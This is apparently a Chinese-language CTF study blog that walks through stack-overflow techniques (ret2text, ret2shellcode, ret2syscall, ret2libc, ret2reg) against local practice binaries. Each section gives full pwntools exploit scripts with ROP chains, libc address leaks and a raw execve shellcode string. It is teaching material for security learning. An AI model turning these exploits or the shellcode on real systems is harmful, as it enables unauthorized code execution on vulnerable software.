仅供个人学习参考

ret2text

有后门就是爽

  先checksec一下
checksec
开启了nx保护和部分relro
用ida查看文件
ida
明显有个栈溢出,且存在后门函数
  基本思路:我们只需往变量s里填充垃圾数据,覆盖到ebp,再加入后门函数的地址,就可以获得shell。
exp如下

1
2
3
4
5
6
7
8
9

from pwn import *
backdoor=0x0804863A
payload=b'a'*(0xffffd148-0xffffd0dc+4)+p32(backdoor)
io=process("./ret2text")
io.sendline(payload)
io.interactive()


其中,多填充4字节的垃圾数据是为了覆盖ebp of previous stack frame,即父函数的栈帧的基指针(通常使用ebp寄存器来保存)


补充:当一个函数被调用时,它会在栈上创建一个新的栈帧,用于存储函数的局部变量、参数和其他上下文信息。在创建新栈帧时,当前函数会将其前一个栈帧的基指针值保存在 ebp 寄存器中,以便后续操作可以访问前一个栈帧。
函数调用栈示意图


ret2shellcode

没有system(“/bin/sh”)就创造一个出来!!

查看文件
1
发现有可读可写可执行段
打开ida
2
  有栈溢出,并且将s的数据拷贝到buf上,因为栈不可执行,所以我们可以把后门函数写入到buf上(buf位于.bss段),然后再通过栈溢出返回到buf,即可获得shell
emm似乎因为某些未知原因该题在我机子上显示.bss段不可执行,所以打不通,但是思路是没有问题的
exp如下

1
2
3
4
5
6
7
8
9
10

from pwn import *
shellcode=asm(shellcraft.sh())
buf2_addr=0x0804A080
payload=b'a'*(0xffffd148-0xffffd0dc+4)
io=process("./ret2shellcode")
io.sendline(shellcode.ljust((0xffffd148-0xffffd0dc+4),b'a')+p32(buf2_addr))
io.interactive()


更新:较旧的ubuntu版本可以复现(Ubuntu16,18)
ubuntu18 0x0804A000 rwx
1

若文件是64位的,需要加个:

1
context.arch = 'amd64'

题目可输入的字长不够时,可以试试这个shellcode,只有23字节

1
shellcode:"\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"

ret2syscall

简单的一次代码碎片利用
“震惊!!小小碎片竟然能够……”

查看文件
1
开启了nx保护
再用ida看看
2
存在栈溢出,且有字符串“/bin/sh”,但是经过查找发现有可利用的代码片段,于是采用rop的思路,通过系统调用获取shell

1
execve("/bin/sh",NULL,NULL)

利用这个系统调用,其系统调用号为0xb,elf的中断指令为int 0x80
存放思路:
eax 0xb
ebx binsh地址(0x080BE408)
ecx 0
edx 0
利用ROPgadget工具查找相应指令,如下:
ROPgadget
2
找到俩能用的

1
2
0x080bb196 : pop eax ; ret
0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret

exp如下:

1
2
3
4
5
6
7
8
9
from pwn import *
io = process('./rop')
pop_eax_ret = 0x080bb196
pop_edx_ecx_ebx_ret = 0x0806eb90
int_0x80 = 0x08049421
binsh = 0x80be408
payload = flat(['A' * (0xffffd148-0xffffd0dc+4), pop_eax_ret, 0xb, pop_edx_ecx_ebx_ret, 0, 0, binsh, int_0x80])
io.sendline(payload)
io.interactive()

一把梭: ROPgadget –binary filename – ropchain
可以自动帮我们写好exp,要注意的是,如果读入长度有限,就需要自己优化一下,或者手动

ret2libc1

“system和/bin/sh分床了,这可怎么办?”

经典操作
1
1
开启了nx保护
有栈溢出,有/bin/sh,甚至还有system,但是此时system体内塞入了别的字符串什么渣…
这时,我们就要用到plt表和got表了。
基本思路:利用栈溢出跳转到plt表中的system项,然后再通过其调用system函数,并传入参数”/bin/sh”,然后获得shell。
exp如下:

1
2
3
4
5
6
7
from pwn import *
io = process('./ret2libc1')
binsh_addr = 0x8048720
system_plt = 0x08048460
payload = flat(['a' * (0xffffd148-0xffffd0dc+4), system_plt, 'aaaa', binsh_addr])
io.sendline(payload)
io.interactive()

其中填入aaaa是为了返回一个虚假地址(在栈上占个位置用的)

ret2libc2

“/bin/sh被气走了,这可怎么办?”

还是经典操作(图懒得给了,切屏切到手酸

总之有栈溢出,有buf2在.bss段,有gets函数,可以手动构造一个/bin/sh,然后再调用system函数,跟ret2libc1差不多

exp如下:

1
2
3
4
5
6
7
8
9
10
from pwn import *
io = process('./ret2libc2')
gets_plt = 0x08048460
system_plt = 0x08048490
pop_ebx_ret = 0x0804843d
buf2 = 0x804a080
payload = flat(['a' * (0xffffd148-0xffffd0dc+4), gets_plt, pop_ebx_ret, buf2, system_plt, 'aaaa', buf2])
io.sendline(payload)
io.sendline('/bin/sh')
io.interactive()

其中,pop_ebx_ret起到两个作用,一个是充当gets函数的返回地址,另一个是它本身功能:将buf2从栈上pop掉,然后返回到system_plt,维持栈平衡
当然这里还有另外一种写法,即

1
payload = flat(['a' * (0xffffd148-0xffffd0dc+4), gets_plt,system_plt, buf2, buf2])

这样写,system_plt可以直接充当gets函数的返回地址,gets执行完毕后直接跳转到system_plt,然后先前栈上的buf2刚好充当system_plt的虚假返回地址(刚刚没有pop掉)

ret2libc3

“emmm没有sh也没有system,可利用的指令碎片也基本没有,这可真令人难受”

  开启了nx保护,存在栈溢出,似乎没有别的东西了,怎么找到system函数地址呢?system函数属于libc,而libc.so 动态链接库中的函数之间相对偏移是固定的,那么只要得到libc中某个函数的地址,我们就可以得出system函数的地址
  我们采用got表来泄露目标函数地址,由于libc的延迟绑定机制,我们需要泄漏已经执行过的函数的地址。本题我们泄露__libc_start_main函数的地址

emmmLibcSearcher这个工具不太好用,写这题的时候它并没有找到所需libc版本

这里推荐两个网站
https://libc.rip/
https://libc.blukat.me/
这两个网站可以通过输入函数和对应地址末三位来查找当前使用的libc版本,并得到函数偏移量
如图
0
有时候查找出来的libc版本会比较多,建议多加几个函数进去(条件允许的话),然后一个个试
exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from pwn import *

sh = process('./ret2libc3')

ret2libc3 = ELF('./ret2libc3')

puts_plt = ret2libc3.plt['puts']
libc_start_main_got = ret2libc3.got['__libc_start_main']
main = ret2libc3.symbols['main']

payload = flat([b'A' * 112, puts_plt, main, libc_start_main_got])##泄露libc_start_main函数地址,并在泄露后回到main函数,即重新执行一遍程序
sh.sendlineafter('Can you find it !?', payload)

libc_start_main_addr = u32(sh.recv()[0:4]) ##接收libc_start_main函数地址
print(hex(libc_start_main_addr)) ##打印出libc_start_main函数地址,为了人工判断libc版本,以便在之后填入各个函数的偏移(所以确乎是要与主机交互两遍)
libc_start_main=0x021560 ##纯手打hhh
system=0x047cb0
binsh=0x1b90f5
libcbase = libc_start_main_addr - libc_start_main
system_addr = libcbase + system
binsh_addr = libcbase + binsh

payload = flat([b'A' * 104, system_addr, 0xdeadbeef, binsh_addr])
sh.sendline(payload)

sh.interactive()

后补:最近发现这个查偏移的网站好像用不了,然后加个给了libc的情况的exp(一般会给吧),下面是打本地的情况

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import *
elf=ELF("./ret2libc3")
libc=ELF("/lib32/libc.so.6")
io=process("./ret2libc3")
io.recvuntil(" it !?")
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
start_addr = elf.symbols['_start']
payload=cyclic(112)+p32(puts_plt)+p32(start_addr)+p32(puts_got)
io.sendline(payload)
puts_realaddr=u32(io.recv()[0:4])
print(hex(puts_realaddr))
libc_addr=puts_realaddr-libc.sym['puts']
system_addr=libc_addr+libc.sym['system']
binsh_addr=libc_addr+next(libc.search(b"/bin/sh"))
payload=cyclic(112)+p32(system_addr)+p32(0xdeadbeef)+p32(binsh_addr)
io.sendline(payload)
io.interactive()

本地libc版本查找方式:

1
ldd filename

a

And
像puts这些函数的got地址plt地址可以手动查询,通过ida(ctrl+s)
要注意got地址是.got.plt 而不是.got , plt地址在.plt.sec 而不是.plt

a

64位的情况

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pwn import *
elf=ELF("./ret2libc_64")
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
io=process("./ret2libc_64")
io.recvuntil("Pls Input")
puts_plt=elf.plt['puts']
read_got=elf.got['read']
start_addr = elf.symbols['_start']
pop_rdi_ret=0x0000000000401293
payload=cyclic(40)+p64(pop_rdi_ret)+p64(read_got)+p64(puts_plt)+p64(start_addr)
io.sendline(payload)
read_realaddr=u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) #read函数的真实地址,由于真实地址总是从7f开始,故从7f开始接收,长度补足8个字节
print(hex(read_realaddr))
libc_addr=read_realaddr-libc.sym['read']
system_addr=libc_addr+libc.sym['system']
binsh_addr=libc_addr+next(libc.search(b"/bin/sh"))
ret_addr=0x000000000040101a
payload=cyclic(40)+p64(ret_addr)+p64(pop_rdi_ret)+p64(binsh_addr)+p64(system_addr)+p64(0xdeadbeef)
io.sendline(payload)
io.interactive()

总体上差不多,就是传参方式改变,前六个参数分别给rdi rsi rdx rcx r8 r9,以及需要注意栈对齐(第二个payload的ret就是为了栈对齐)

ret2reg

顾名思义,就是控制程序执行流返回到寄存器。首先需要知道执行ret时(栈溢出后)指向缓冲区空间的是哪个寄存器,其次往缓冲区写入shellcode,然后将call [寄存器] 或者jmp [寄存器]指令地址填入retaddress,利用栈溢出完成攻击
实现前提,该缓冲区是RWX的